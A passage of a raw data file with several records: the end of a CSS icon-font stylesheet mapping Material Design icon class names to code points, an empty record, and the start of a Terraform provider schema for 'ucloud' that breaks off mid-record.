\"\\f0f8\";\n}\n.md-voicemail:before {\n content: \"\\f0f9\";\n}\n.md-vpn-key:before {\n content: \"\\f0fa\";\n}\n.md-add:before {\n content: \"\\f0fb\";\n}\n.md-add-box:before {\n content: \"\\f0fc\";\n}\n.md-add-circle:before {\n content: \"\\f0fd\";\n}\n.md-add-circle-outline:before {\n content: \"\\f0fe\";\n}\n.md-archive:before {\n content: \"\\f0ff\";\n}\n.md-backspace:before {\n content: \"\\f100\";\n}\n.md-block:before {\n content: \"\\f101\";\n}\n.md-clear:before {\n content: \"\\f102\";\n}\n.md-content-copy:before {\n content: \"\\f103\";\n}\n.md-content-cut:before {\n content: \"\\f104\";\n}\n.md-content-paste:before {\n content: \"\\f105\";\n}\n.md-create:before {\n content: \"\\f106\";\n}\n.md-drafts:before {\n content: \"\\f107\";\n}\n.md-filter-list:before {\n content: \"\\f108\";\n}\n.md-flag:before {\n content: \"\\f109\";\n}\n.md-forward:before {\n content: \"\\f10a\";\n}\n.md-gesture:before {\n content: \"\\f10b\";\n}\n.md-inbox:before {\n content: \"\\f10c\";\n}\n.md-link:before {\n content: \"\\f10d\";\n}\n.md-mail:before {\n content: \"\\f10e\";\n}\n.md-markunread:before {\n content: \"\\f10f\";\n}\n.md-redo:before {\n content: \"\\f110\";\n}\n.md-remove:before {\n content: \"\\f111\";\n}\n.md-remove-circle:before {\n content: \"\\f112\";\n}\n.md-remove-circle-outline:before {\n content: \"\\f113\";\n}\n.md-reply:before {\n content: \"\\f114\";\n}\n.md-reply-all:before {\n content: \"\\f115\";\n}\n.md-report:before {\n content: \"\\f116\";\n}\n.md-save:before {\n content: \"\\f117\";\n}\n.md-select-all:before {\n content: \"\\f118\";\n}\n.md-send:before {\n content: \"\\f119\";\n}\n.md-sort:before {\n content: \"\\f11a\";\n}\n.md-text-format:before {\n content: \"\\f11b\";\n}\n.md-undo:before {\n content: \"\\f11c\";\n}\n.md-access-alarm:before {\n content: \"\\f11d\";\n}\n.md-access-alarms:before {\n content: \"\\f11e\";\n}\n.md-access-time:before {\n content: \"\\f11f\";\n}\n.md-add-alarm:before {\n content: \"\\f120\";\n}\n.md-airplanemode-off:before {\n content: \"\\f121\";\n}\n.md-airplanemode-on:before {\n content: \"\\f122\";\n}\n.md-battery-20:before {\n content: \"\\f123\";\n}\n.md-battery-30:before {\n content: \"\\f124\";\n}\n.md-battery-50:before {\n content: \"\\f125\";\n}\n.md-battery-60:before {\n content: \"\\f126\";\n}\n.md-battery-80:before {\n content: \"\\f127\";\n}\n.md-battery-90:before {\n content: \"\\f128\";\n}\n.md-battery-alert:before {\n content: \"\\f129\";\n}\n.md-battery-charging-20:before {\n content: \"\\f12a\";\n}\n.md-battery-charging-30:before {\n content: \"\\f12b\";\n}\n.md-battery-charging-50:before {\n content: \"\\f12c\";\n}\n.md-battery-charging-60:before {\n content: \"\\f12d\";\n}\n.md-battery-charging-80:before {\n content: \"\\f12e\";\n}\n.md-battery-charging-90:before {\n content: \"\\f12f\";\n}\n.md-battery-charging-full:before {\n content: \"\\f130\";\n}\n.md-battery-full:before {\n content: \"\\f131\";\n}\n.md-battery-std:before {\n content: \"\\f132\";\n}\n.md-battery-unknown:before {\n content: \"\\f133\";\n}\n.md-bluetooth:before {\n content: \"\\f134\";\n}\n.md-bluetooth-connected:before {\n content: \"\\f135\";\n}\n.md-bluetooth-disabled:before {\n content: \"\\f136\";\n}\n.md-bluetooth-searching:before {\n content: \"\\f137\";\n}\n.md-brightness-auto:before {\n content: \"\\f138\";\n}\n.md-brightness-high:before {\n content: \"\\f139\";\n}\n.md-brightness-low:before {\n content: \"\\f13a\";\n}\n.md-brightness-medium:before {\n content: \"\\f13b\";\n}\n.md-data-usage:before {\n content: \"\\f13c\";\n}\n.md-developer-mode:before {\n content: \"\\f13d\";\n}\n.md-devices:before {\n content: \"\\f13e\";\n}\n.md-dvr:before {\n content: \"\\f13f\";\n}\n.md-gps-fixed:before {\n content: \"\\f140\";\n}\n.md-gps-not-fixed:before {\n content: \"\\f141\";\n}\n.md-gps-off:before {\n content: \"\\f142\";\n}\n.md-location-disabled:before {\n content: \"\\f143\";\n}\n.md-location-searching:before {\n content: \"\\f144\";\n}\n.md-multitrack-audio:before {\n content: \"\\f145\";\n}\n.md-network-cell:before {\n content: \"\\f146\";\n}\n.md-network-wifi:before {\n content: \"\\f147\";\n}\n.md-nfc:before {\n content: \"\\f148\";\n}\n.md-now-wallpaper:before {\n content: \"\\f149\";\n}\n.md-now-widgets:before {\n content: \"\\f14a\";\n}\n.md-screen-lock-landscape:before {\n content: \"\\f14b\";\n}\n.md-screen-lock-portrait:before {\n content: \"\\f14c\";\n}\n.md-screen-lock-rotation:before {\n content: \"\\f14d\";\n}\n.md-screen-rotation:before {\n content: \"\\f14e\";\n}\n.md-sd-storage:before {\n content: \"\\f14f\";\n}\n.md-settings-system-daydream:before {\n content: \"\\f150\";\n}\n.md-signal-cellular-0-bar:before {\n content: \"\\f151\";\n}\n.md-signal-cellular-1-bar:before {\n content: \"\\f152\";\n}\n.md-signal-cellular-2-bar:before {\n content: \"\\f153\";\n}\n.md-signal-cellular-3-bar:before {\n content: \"\\f154\";\n}\n.md-signal-cellular-4-bar:before {\n content: \"\\f155\";\n}\n.md-signal-cellular-connected-no-internet-0-bar:before {\n content: \"\\f156\";\n}\n.md-signal-cellular-connected-no-internet-1-bar:before {\n content: \"\\f157\";\n}\n.md-signal-cellular-connected-no-internet-2-bar:before {\n content: \"\\f158\";\n}\n.md-signal-cellular-connected-no-internet-3-bar:before {\n content: \"\\f159\";\n}\n.md-signal-cellular-connected-no-internet-4-bar:before {\n content: \"\\f15a\";\n}\n.md-signal-cellular-no-sim:before {\n content: \"\\f15b\";\n}\n.md-signal-cellular-null:before {\n content: \"\\f15c\";\n}\n.md-signal-cellular-off:before {\n content: \"\\f15d\";\n}\n.md-signal-wifi-0-bar:before {\n content: \"\\f15e\";\n}\n.md-signal-wifi-1-bar:before {\n content: \"\\f15f\";\n}\n.md-signal-wifi-2-bar:before {\n content: \"\\f160\";\n}\n.md-signal-wifi-3-bar:before {\n content: \"\\f161\";\n}\n.md-signal-wifi-4-bar:before {\n content: \"\\f162\";\n}\n.md-signal-wifi-off:before {\n content: \"\\f163\";\n}\n.md-storage:before {\n content: \"\\f164\";\n}\n.md-usb:before {\n content: \"\\f165\";\n}\n.md-wifi-lock:before {\n content: \"\\f166\";\n}\n.md-wifi-tethering:before {\n content: \"\\f167\";\n}\n.md-attach-file:before {\n content: \"\\f168\";\n}\n.md-attach-money:before {\n content: \"\\f169\";\n}\n.md-border-all:before {\n content: \"\\f16a\";\n}\n.md-border-bottom:before {\n content: \"\\f16b\";\n}\n.md-border-clear:before {\n content: \"\\f16c\";\n}\n.md-border-color:before {\n content: \"\\f16d\";\n}\n.md-border-horizontal:before {\n content: \"\\f16e\";\n}\n.md-border-inner:before {\n content: \"\\f16f\";\n}\n.md-border-left:before {\n content: \"\\f170\";\n}\n.md-border-outer:before {\n content: \"\\f171\";\n}\n.md-border-right:before {\n content: \"\\f172\";\n}\n.md-border-style:before {\n content: \"\\f173\";\n}\n.md-border-top:before {\n content: \"\\f174\";\n}\n.md-border-vertical:before {\n content: \"\\f175\";\n}\n.md-format-align-center:before {\n content: \"\\f176\";\n}\n.md-format-align-justify:before {\n content: \"\\f177\";\n}\n.md-format-align-left:before {\n content: \"\\f178\";\n}\n.md-format-align-right:before {\n content: \"\\f179\";\n}\n.md-format-bold:before {\n content: \"\\f17a\";\n}\n.md-format-clear:before {\n content: \"\\f17b\";\n}\n.md-format-color-fill:before {\n content: \"\\f17c\";\n}\n.md-format-color-reset:before {\n content: \"\\f17d\";\n}\n.md-format-color-text:before {\n content: \"\\f17e\";\n}\n.md-format-indent-decrease:before {\n content: \"\\f17f\";\n}\n.md-format-indent-increase:before {\n content: \"\\f180\";\n}\n.md-format-italic:before {\n content: \"\\f181\";\n}\n.md-format-line-spacing:before {\n content: \"\\f182\";\n}\n.md-format-list-bulleted:before {\n content: \"\\f183\";\n}\n.md-format-list-numbered:before {\n content: \"\\f184\";\n}\n.md-format-paint:before {\n content: \"\\f185\";\n}\n.md-format-quote:before {\n content: \"\\f186\";\n}\n.md-format-size:before {\n content: \"\\f187\";\n}\n.md-format-strikethrough:before {\n content: \"\\f188\";\n}\n.md-format-textdirection-l-to-r:before {\n content: \"\\f189\";\n}\n.md-format-textdirection-r-to-l:before {\n content: \"\\f18a\";\n}\n.md-format-underline:before {\n content: \"\\f18b\";\n}\n.md-functions:before {\n content: \"\\f18c\";\n}\n.md-insert-chart:before {\n content: \"\\f18d\";\n}\n.md-insert-comment:before {\n content: \"\\f18e\";\n}\n.md-insert-drive-file:before {\n content: \"\\f18f\";\n}\n.md-insert-emoticon:before {\n content: \"\\f190\";\n}\n.md-insert-invitation:before {\n content: \"\\f191\";\n}\n.md-insert-link:before {\n content: \"\\f192\";\n}\n.md-insert-photo:before {\n content: \"\\f193\";\n}\n.md-merge-type:before {\n content: \"\\f194\";\n}\n.md-mode-comment:before {\n content: \"\\f195\";\n}\n.md-mode-edit:before {\n content: \"\\f196\";\n}\n.md-publish:before {\n content: \"\\f197\";\n}\n.md-vertical-align-bottom:before {\n content: \"\\f198\";\n}\n.md-vertical-align-center:before {\n content: \"\\f199\";\n}\n.md-vertical-align-top:before {\n content: \"\\f19a\";\n}\n.md-wrap-text:before {\n content: \"\\f19b\";\n}\n.md-attachment:before {\n content: \"\\f19c\";\n}\n.md-cloud:before {\n content: \"\\f19d\";\n}\n.md-cloud-circle:before {\n content: \"\\f19e\";\n}\n.md-cloud-done:before {\n content: \"\\f19f\";\n}\n.md-cloud-download:before {\n content: \"\\f1a0\";\n}\n.md-cloud-off:before {\n content: \"\\f1a1\";\n}\n.md-cloud-queue:before {\n content: \"\\f1a2\";\n}\n.md-cloud-upload:before {\n content: \"\\f1a3\";\n}\n.md-file-download:before {\n content: \"\\f1a4\";\n}\n.md-file-upload:before {\n content: \"\\f1a5\";\n}\n.md-folder:before {\n content: \"\\f1a6\";\n}\n.md-folder-open:before {\n content: \"\\f1a7\";\n}\n.md-folder-shared:before {\n content: \"\\f1a8\";\n}\n.md-cast:before {\n content: \"\\f1a9\";\n}\n.md-cast-connected:before {\n content: \"\\f1aa\";\n}\n.md-computer:before {\n content: \"\\f1ab\";\n}\n.md-desktop-mac:before {\n content: \"\\f1ac\";\n}\n.md-desktop-windows:before {\n content: \"\\f1ad\";\n}\n.md-dock:before {\n content: \"\\f1ae\";\n}\n.md-gamepad:before {\n content: \"\\f1af\";\n}\n.md-headset:before {\n content: \"\\f1b0\";\n}\n.md-headset-mic:before {\n content: \"\\f1b1\";\n}\n.md-keyboard:before {\n content: \"\\f1b2\";\n}\n.md-keyboard-alt:before {\n content: \"\\f1b3\";\n}\n.md-keyboard-arrow-down:before {\n content: \"\\f1b4\";\n}\n.md-keyboard-arrow-left:before {\n content: \"\\f1b5\";\n}\n.md-keyboard-arrow-right:before {\n content: \"\\f1b6\";\n}\n.md-keyboard-arrow-up:before {\n content: \"\\f1b7\";\n}\n.md-keyboard-backspace:before {\n content: \"\\f1b8\";\n}\n.md-keyboard-capslock:before {\n content: \"\\f1b9\";\n}\n.md-keyboard-control:before {\n content: \"\\f1ba\";\n}\n.md-keyboard-hide:before {\n content: \"\\f1bb\";\n}\n.md-keyboard-return:before {\n content: \"\\f1bc\";\n}\n.md-keyboard-tab:before {\n content: \"\\f1bd\";\n}\n.md-keyboard-voice:before {\n content: \"\\f1be\";\n}\n.md-laptop:before {\n content: \"\\f1bf\";\n}\n.md-laptop-chromebook:before {\n content: \"\\f1c0\";\n}\n.md-laptop-mac:before {\n content: \"\\f1c1\";\n}\n.md-laptop-windows:before {\n content: \"\\f1c2\";\n}\n.md-memory:before {\n content: \"\\f1c3\";\n}\n.md-mouse:before {\n content: \"\\f1c4\";\n}\n.md-phone-android:before {\n content: \"\\f1c5\";\n}\n.md-phone-iphone:before {\n content: \"\\f1c6\";\n}\n.md-phonelink:before {\n content: \"\\f1c7\";\n}\n.md-phonelink-off:before {\n content: \"\\f1c8\";\n}\n.md-security:before {\n content: \"\\f1c9\";\n}\n.md-sim-card:before {\n content: \"\\f1ca\";\n}\n.md-smartphone:before {\n content: \"\\f1cb\";\n}\n.md-speaker:before {\n content: \"\\f1cc\";\n}\n.md-tablet:before {\n content: \"\\f1cd\";\n}\n.md-tablet-android:before {\n content: \"\\f1ce\";\n}\n.md-tablet-mac:before {\n content: \"\\f1cf\";\n}\n.md-tv:before {\n content: \"\\f1d0\";\n}\n.md-watch:before {\n content: \"\\f1d1\";\n}\n.md-add-to-photos:before {\n content: \"\\f1d2\";\n}\n.md-adjust:before {\n content: \"\\f1d3\";\n}\n.md-assistant-photo:before {\n content: \"\\f1d4\";\n}\n.md-audiotrack:before {\n content: \"\\f1d5\";\n}\n.md-blur-circular:before {\n content: \"\\f1d6\";\n}\n.md-blur-linear:before {\n content: \"\\f1d7\";\n}\n.md-blur-off:before {\n content: \"\\f1d8\";\n}\n.md-blur-on:before {\n content: \"\\f1d9\";\n}\n.md-brightness-1:before {\n content: \"\\f1da\";\n}\n.md-brightness-2:before {\n content: \"\\f1db\";\n}\n.md-brightness-3:before {\n content: \"\\f1dc\";\n}\n.md-brightness-4:before {\n content: \"\\f1dd\";\n}\n.md-brightness-5:before {\n content: \"\\f1de\";\n}\n.md-brightness-6:before {\n content: \"\\f1df\";\n}\n.md-brightness-7:before {\n content: \"\\f1e0\";\n}\n.md-brush:before {\n content: \"\\f1e1\";\n}\n.md-camera:before {\n content: \"\\f1e2\";\n}\n.md-camera-alt:before {\n content: \"\\f1e3\";\n}\n.md-camera-front:before {\n content: \"\\f1e4\";\n}\n.md-camera-rear:before {\n content: \"\\f1e5\";\n}\n.md-camera-roll:before {\n content: \"\\f1e6\";\n}\n.md-center-focus-strong:before {\n content: \"\\f1e7\";\n}\n.md-center-focus-weak:before {\n content: \"\\f1e8\";\n}\n.md-collections:before {\n content: \"\\f1e9\";\n}\n.md-colorize:before {\n content: \"\\f1ea\";\n}\n.md-color-lens:before {\n content: \"\\f1eb\";\n}\n.md-compare:before {\n content: \"\\f1ec\";\n}\n.md-control-point:before {\n content: \"\\f1ed\";\n}\n.md-control-point-duplicate:before {\n content: \"\\f1ee\";\n}\n.md-crop:before {\n content: \"\\f1ef\";\n}\n.md-crop-3-2:before {\n content: \"\\f1f0\";\n}\n.md-crop-5-4:before {\n content: \"\\f1f1\";\n}\n.md-crop-7-5:before {\n content: \"\\f1f2\";\n}\n.md-crop-16-9:before {\n content: \"\\f1f3\";\n}\n.md-crop-din:before {\n content: \"\\f1f4\";\n}\n.md-crop-free:before {\n content: \"\\f1f5\";\n}\n.md-crop-landscape:before {\n content: \"\\f1f6\";\n}\n.md-crop-original:before {\n content: \"\\f1f7\";\n}\n.md-crop-portrait:before {\n content: \"\\f1f8\";\n}\n.md-crop-square:before {\n content: \"\\f1f9\";\n}\n.md-dehaze:before {\n content: \"\\f1fa\";\n}\n.md-details:before {\n content: \"\\f1fb\";\n}\n.md-edit:before {\n content: \"\\f1fc\";\n}\n.md-exposure:before {\n content: \"\\f1fd\";\n}\n.md-exposure-minus-1:before {\n content: \"\\f1fe\";\n}\n.md-exposure-minus-2:before {\n content: \"\\f1ff\";\n}\n.md-exposure-zero:before {\n content: \"\\f200\";\n}\n.md-exposure-plus-1:before {\n content: \"\\f201\";\n}\n.md-exposure-plus-2:before {\n content: \"\\f202\";\n}\n.md-filter:before {\n content: \"\\f203\";\n}\n.md-filter-1:before {\n content: \"\\f204\";\n}\n.md-filter-2:before {\n content: \"\\f205\";\n}\n.md-filter-3:before {\n content: \"\\f206\";\n}\n.md-filter-4:before {\n content: \"\\f207\";\n}\n.md-filter-5:before {\n content: \"\\f208\";\n}\n.md-filter-6:before {\n content: \"\\f209\";\n}\n.md-filter-7:before {\n content: \"\\f20a\";\n}\n.md-filter-8:before {\n content: \"\\f20b\";\n}\n.md-filter-9:before {\n content: \"\\f20c\";\n}\n.md-filter-9-plus:before {\n content: \"\\f20d\";\n}\n.md-filter-b-and-w:before {\n content: \"\\f20e\";\n}\n.md-filter-center-focus:before {\n content: \"\\f20f\";\n}\n.md-filter-drama:before {\n content: \"\\f210\";\n}\n.md-filter-frames:before {\n content: \"\\f211\";\n}\n.md-filter-hdr:before {\n content: \"\\f212\";\n}\n.md-filter-none:before {\n content: \"\\f213\";\n}\n.md-filter-tilt-shift:before {\n content: \"\\f214\";\n}\n.md-filter-vintage:before {\n content: \"\\f215\";\n}\n.md-flare:before {\n content: \"\\f216\";\n}\n.md-flash-auto:before {\n content: \"\\f217\";\n}\n.md-flash-off:before {\n content: \"\\f218\";\n}\n.md-flash-on:before {\n content: \"\\f219\";\n}\n.md-flip:before {\n content: \"\\f21a\";\n}\n.md-gradient:before {\n content: \"\\f21b\";\n}\n.md-grain:before {\n content: \"\\f21c\";\n}\n.md-grid-off:before {\n content: \"\\f21d\";\n}\n.md-grid-on:before {\n content: \"\\f21e\";\n}\n.md-hdr-off:before {\n content: \"\\f21f\";\n}\n.md-hdr-on:before {\n content: \"\\f220\";\n}\n.md-hdr-strong:before {\n content: \"\\f221\";\n}\n.md-hdr-weak:before {\n content: \"\\f222\";\n}\n.md-healing:before {\n content: \"\\f223\";\n}\n.md-image:before {\n content: \"\\f224\";\n}\n.md-image-aspect-ratio:before {\n content: \"\\f225\";\n}\n.md-iso:before {\n content: \"\\f226\";\n}\n.md-landscape:before {\n content: \"\\f227\";\n}\n.md-leak-add:before {\n content: \"\\f228\";\n}\n.md-leak-remove:before {\n content: \"\\f229\";\n}\n.md-lens:before {\n content: \"\\f22a\";\n}\n.md-looks:before {\n content: \"\\f22b\";\n}\n.md-looks-1:before {\n content: \"\\f22c\";\n}\n.md-looks-2:before {\n content: \"\\f22d\";\n}\n.md-looks-3:before {\n content: \"\\f22e\";\n}\n.md-looks-4:before {\n content: \"\\f22f\";\n}\n.md-looks-5:before {\n content: \"\\f230\";\n}\n.md-looks-6:before {\n content: \"\\f231\";\n}\n.md-loupe:before {\n content: \"\\f232\";\n}\n.md-movie-creation:before {\n content: \"\\f233\";\n}\n.md-nature:before {\n content: \"\\f234\";\n}\n.md-nature-people:before {\n content: \"\\f235\";\n}\n.md-navigate-before:before {\n content: \"\\f236\";\n}\n.md-navigate-next:before {\n content: \"\\f237\";\n}\n.md-palette:before {\n content: \"\\f238\";\n}\n.md-panorama:before {\n content: \"\\f239\";\n}\n.md-panorama-fisheye:before {\n content: \"\\f23a\";\n}\n.md-panorama-horizontal:before {\n content: \"\\f23b\";\n}\n.md-panorama-vertical:before {\n content: \"\\f23c\";\n}\n.md-panorama-wide-angle:before {\n content: \"\\f23d\";\n}\n.md-photo:before {\n content: \"\\f23e\";\n}\n.md-photo-album:before {\n content: \"\\f23f\";\n}\n.md-photo-camera:before {\n content: \"\\f240\";\n}\n.md-photo-library:before {\n content: \"\\f241\";\n}\n.md-portrait:before {\n content: \"\\f242\";\n}\n.md-remove-red-eye:before {\n content: \"\\f243\";\n}\n.md-rotate-left:before {\n content: \"\\f244\";\n}\n.md-rotate-right:before {\n content: \"\\f245\";\n}\n.md-slideshow:before {\n content: \"\\f246\";\n}\n.md-straighten:before {\n content: \"\\f247\";\n}\n.md-style:before {\n content: \"\\f248\";\n}\n.md-switch-camera:before {\n content: \"\\f249\";\n}\n.md-switch-video:before {\n content: \"\\f24a\";\n}\n.md-tag-faces:before {\n content: \"\\f24b\";\n}\n.md-texture:before {\n content: \"\\f24c\";\n}\n.md-timelapse:before {\n content: \"\\f24d\";\n}\n.md-timer:before {\n content: \"\\f24e\";\n}\n.md-timer-3:before {\n content: \"\\f24f\";\n}\n.md-timer-10:before {\n content: \"\\f250\";\n}\n.md-timer-auto:before {\n content: \"\\f251\";\n}\n.md-timer-off:before {\n content: \"\\f252\";\n}\n.md-tonality:before {\n content: \"\\f253\";\n}\n.md-transform:before {\n content: \"\\f254\";\n}\n.md-tune:before {\n content: \"\\f255\";\n}\n.md-wb-auto:before {\n content: \"\\f256\";\n}\n.md-wb-cloudy:before {\n content: \"\\f257\";\n}\n.md-wb-incandescent:before {\n content: \"\\f258\";\n}\n.md-wb-irradescent:before {\n content: \"\\f259\";\n}\n.md-wb-sunny:before {\n content: \"\\f25a\";\n}\n.md-beenhere:before {\n content: \"\\f25b\";\n}\n.md-directions:before {\n content: \"\\f25c\";\n}\n.md-directions-bike:before {\n content: \"\\f25d\";\n}\n.md-directions-bus:before {\n content: \"\\f25e\";\n}\n.md-directions-car:before {\n content: \"\\f25f\";\n}\n.md-directions-ferry:before {\n content: \"\\f260\";\n}\n.md-directions-subway:before {\n content: \"\\f261\";\n}\n.md-directions-train:before {\n content: \"\\f262\";\n}\n.md-directions-transit:before {\n content: \"\\f263\";\n}\n.md-directions-walk:before {\n content: \"\\f264\";\n}\n.md-flight:before {\n content: \"\\f265\";\n}\n.md-hotel:before {\n content: \"\\f266\";\n}\n.md-layers:before {\n content: \"\\f267\";\n}\n.md-layers-clear:before {\n content: \"\\f268\";\n}\n.md-local-airport:before {\n content: \"\\f269\";\n}\n.md-local-atm:before {\n content: \"\\f26a\";\n}\n.md-local-attraction:before {\n content: \"\\f26b\";\n}\n.md-local-bar:before {\n content: \"\\f26c\";\n}\n.md-local-cafe:before {\n content: \"\\f26d\";\n}\n.md-local-car-wash:before {\n content: \"\\f26e\";\n}\n.md-local-convenience-store:before {\n content: \"\\f26f\";\n}\n.md-local-drink:before {\n content: \"\\f270\";\n}\n.md-local-florist:before {\n content: \"\\f271\";\n}\n.md-local-gas-station:before {\n content: \"\\f272\";\n}\n.md-local-grocery-store:before {\n content: \"\\f273\";\n}\n.md-local-hospital:before {\n content: \"\\f274\";\n}\n.md-local-hotel:before {\n content: \"\\f275\";\n}\n.md-local-laundry-service:before {\n content: \"\\f276\";\n}\n.md-local-library:before {\n content: \"\\f277\";\n}\n.md-local-mall:before {\n content: \"\\f278\";\n}\n.md-local-movies:before {\n content: \"\\f279\";\n}\n.md-local-offer:before {\n content: \"\\f27a\";\n}\n.md-local-parking:before {\n content: \"\\f27b\";\n}\n.md-local-pharmacy:before {\n content: \"\\f27c\";\n}\n.md-local-phone:before {\n content: \"\\f27d\";\n}\n.md-local-pizza:before {\n content: \"\\f27e\";\n}\n.md-local-play:before {\n content: \"\\f27f\";\n}\n.md-local-post-office:before {\n content: \"\\f280\";\n}\n.md-local-print-shop:before {\n content: \"\\f281\";\n}\n.md-local-restaurant:before {\n content: \"\\f282\";\n}\n.md-local-see:before {\n content: \"\\f283\";\n}\n.md-local-shipping:before {\n content: \"\\f284\";\n}\n.md-local-taxi:before {\n content: \"\\f285\";\n}\n.md-location-history:before {\n content: \"\\f286\";\n}\n.md-map:before {\n content: \"\\f287\";\n}\n.md-my-location:before {\n content: \"\\f288\";\n}\n.md-navigation:before {\n content: \"\\f289\";\n}\n.md-pin-drop:before {\n content: \"\\f28a\";\n}\n.md-place:before {\n content: \"\\f28b\";\n}\n.md-rate-review:before {\n content: \"\\f28c\";\n}\n.md-restaurant-menu:before {\n content: \"\\f28d\";\n}\n.md-satellite:before {\n content: \"\\f28e\";\n}\n.md-store-mall-directory:before {\n content: \"\\f28f\";\n}\n.md-terrain:before {\n content: \"\\f290\";\n}\n.md-traffic:before {\n content: \"\\f291\";\n}\n.md-apps:before {\n content: \"\\f292\";\n}\n.md-cancel:before {\n content: \"\\f293\";\n}\n.md-arrow-drop-down-circle:before {\n content: \"\\f294\";\n}\n.md-arrow-drop-down:before {\n content: \"\\f295\";\n}\n.md-arrow-drop-up:before {\n content: \"\\f296\";\n}\n.md-arrow-back:before {\n content: \"\\f297\";\n}\n.md-arrow-forward:before {\n content: \"\\f298\";\n}\n.md-check:before {\n content: \"\\f299\";\n}\n.md-close:before {\n content: \"\\f29a\";\n}\n.md-chevron-left:before {\n content: \"\\f29b\";\n}\n.md-chevron-right:before {\n content: \"\\f29c\";\n}\n.md-expand-less:before {\n content: \"\\f29d\";\n}\n.md-expand-more:before {\n content: \"\\f29e\";\n}\n.md-fullscreen:before {\n content: \"\\f29f\";\n}\n.md-fullscreen-exit:before {\n content: \"\\f2a0\";\n}\n.md-menu:before {\n content: \"\\f2a1\";\n}\n.md-more-horiz:before {\n content: \"\\f2a2\";\n}\n.md-more-vert:before {\n content: \"\\f2a3\";\n}\n.md-refresh:before {\n content: \"\\f2a4\";\n}\n.md-unfold-less:before {\n content: \"\\f2a5\";\n}\n.md-unfold-more:before {\n content: \"\\f2a6\";\n}\n.md-adb:before {\n content: \"\\f2a7\";\n}\n.md-bluetooth-audio:before {\n content: \"\\f2a8\";\n}\n.md-disc-full:before {\n content: \"\\f2a9\";\n}\n.md-dnd-forwardslash:before {\n content: \"\\f2aa\";\n}\n.md-do-not-disturb:before {\n content: \"\\f2ab\";\n}\n.md-drive-eta:before {\n content: \"\\f2ac\";\n}\n.md-event-available:before {\n content: \"\\f2ad\";\n}\n.md-event-busy:before {\n content: \"\\f2ae\";\n}\n.md-event-note:before {\n content: \"\\f2af\";\n}\n.md-folder-special:before {\n content: \"\\f2b0\";\n}\n.md-mms:before {\n content: \"\\f2b1\";\n}\n.md-more:before {\n content: \"\\f2b2\";\n}\n.md-network-locked:before {\n content: \"\\f2b3\";\n}\n.md-phone-bluetooth-speaker:before {\n content: \"\\f2b4\";\n}\n.md-phone-forwarded:before {\n content: \"\\f2b5\";\n}\n.md-phone-in-talk:before {\n content: \"\\f2b6\";\n}\n.md-phone-locked:before {\n content: \"\\f2b7\";\n}\n.md-phone-missed:before {\n content: \"\\f2b8\";\n}\n.md-phone-paused:before {\n content: \"\\f2b9\";\n}\n.md-play-download:before {\n content: \"\\f2ba\";\n}\n.md-play-install:before {\n content: \"\\f2bb\";\n}\n.md-sd-card:before {\n content: \"\\f2bc\";\n}\n.md-sim-card-alert:before {\n content: \"\\f2bd\";\n}\n.md-sms:before {\n content: \"\\f2be\";\n}\n.md-sms-failed:before {\n content: \"\\f2bf\";\n}\n.md-sync:before {\n content: \"\\f2c0\";\n}\n.md-sync-disabled:before {\n content: \"\\f2c1\";\n}\n.md-sync-problem:before {\n content: \"\\f2c2\";\n}\n.md-system-update:before {\n content: \"\\f2c3\";\n}\n.md-tap-and-play:before {\n content: \"\\f2c4\";\n}\n.md-time-to-leave:before {\n content: \"\\f2c5\";\n}\n.md-vibration:before {\n content: \"\\f2c6\";\n}\n.md-voice-chat:before {\n content: \"\\f2c7\";\n}\n.md-vpn-lock:before {\n content: \"\\f2c8\";\n}\n.md-cake:before {\n content: \"\\f2c9\";\n}\n.md-domain:before {\n content: \"\\f2ca\";\n}\n.md-location-city:before {\n content: \"\\f2cb\";\n}\n.md-mood:before {\n content: \"\\f2cc\";\n}\n.md-notifications-none:before {\n content: \"\\f2cd\";\n}\n.md-notifications:before {\n content: \"\\f2ce\";\n}\n.md-notifications-off:before {\n content: \"\\f2cf\";\n}\n.md-notifications-on:before {\n content: \"\\f2d0\";\n}\n.md-notifications-paused:before {\n content: \"\\f2d1\";\n}\n.md-pages:before {\n content: \"\\f2d2\";\n}\n.md-party-mode:before {\n content: \"\\f2d3\";\n}\n.md-group:before {\n content: \"\\f2d4\";\n}\n.md-group-add:before {\n content: \"\\f2d5\";\n}\n.md-people:before {\n content: \"\\f2d6\";\n}\n.md-people-outline:before {\n content: \"\\f2d7\";\n}\n.md-person:before {\n content: \"\\f2d8\";\n}\n.md-person-add:before {\n content: \"\\f2d9\";\n}\n.md-person-outline:before {\n content: \"\\f2da\";\n}\n.md-plus-one:before {\n content: \"\\f2db\";\n}\n.md-poll:before {\n content: \"\\f2dc\";\n}\n.md-public:before {\n content: \"\\f2dd\";\n}\n.md-school:before {\n content: \"\\f2de\";\n}\n.md-share:before {\n content: \"\\f2df\";\n}\n.md-whatshot:before {\n content: \"\\f2e0\";\n}\n.md-check-box:before {\n content: \"\\f2e1\";\n}\n.md-check-box-outline-blank:before {\n content: \"\\f2e2\";\n}\n.md-radio-button-off:before {\n content: \"\\f2e3\";\n}\n.md-radio-button-on:before {\n content: \"\\f2e4\";\n}\n.md-star:before {\n content: \"\\f2e5\";\n}\n.md-star-half:before {\n content: \"\\f2e6\";\n}\n.md-star-outline:before {\n content: \"\\f2e7\";\n}\n"} {"text": "\n\n\n\n\n"} {"text": "{\n \".schema_version\": \"1\",\n \"name\": \"ucloud\",\n \"type\": \"provider\",\n \"version\": \"v1.6.0\",\n \"provider\": {\n \"base_url\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Description\": \"...\",\n \"ConflictsWith\": [\n \"insecure\"\n ],\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"https://api.ucloud.cn\"\n }\n },\n \"insecure\": {\n \"Type\": \"Bool\",\n \"Optional\": true,\n \"Description\": \"...\",\n \"ConflictsWith\": [\n \"base_url\"\n ],\n \"Default\": {\n \"Type\": \"bool\",\n \"Value\": \"false\"\n }\n },\n \"max_retries\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Description\": \"...\",\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"3\"\n }\n },\n \"private_key\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Description\": \"...\",\n \"DefaultFunc\": \"ENV(UCLOUD_PRIVATE_KEY)\"\n },\n \"profile\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Description\": \"...\",\n \"DefaultFunc\": \"ENV(UCLOUD_PROFILE)\"\n },\n \"project_id\": {\n \"Type\": \"String\",\n \"Required\": true,\n \"Description\": \"...\",\n \"DefaultFunc\": \"ENV(UCLOUD_PROJECT_ID)\"\n },\n \"public_key\": {\n \"Type\": \"String\",\n \"Optional\": true,\n 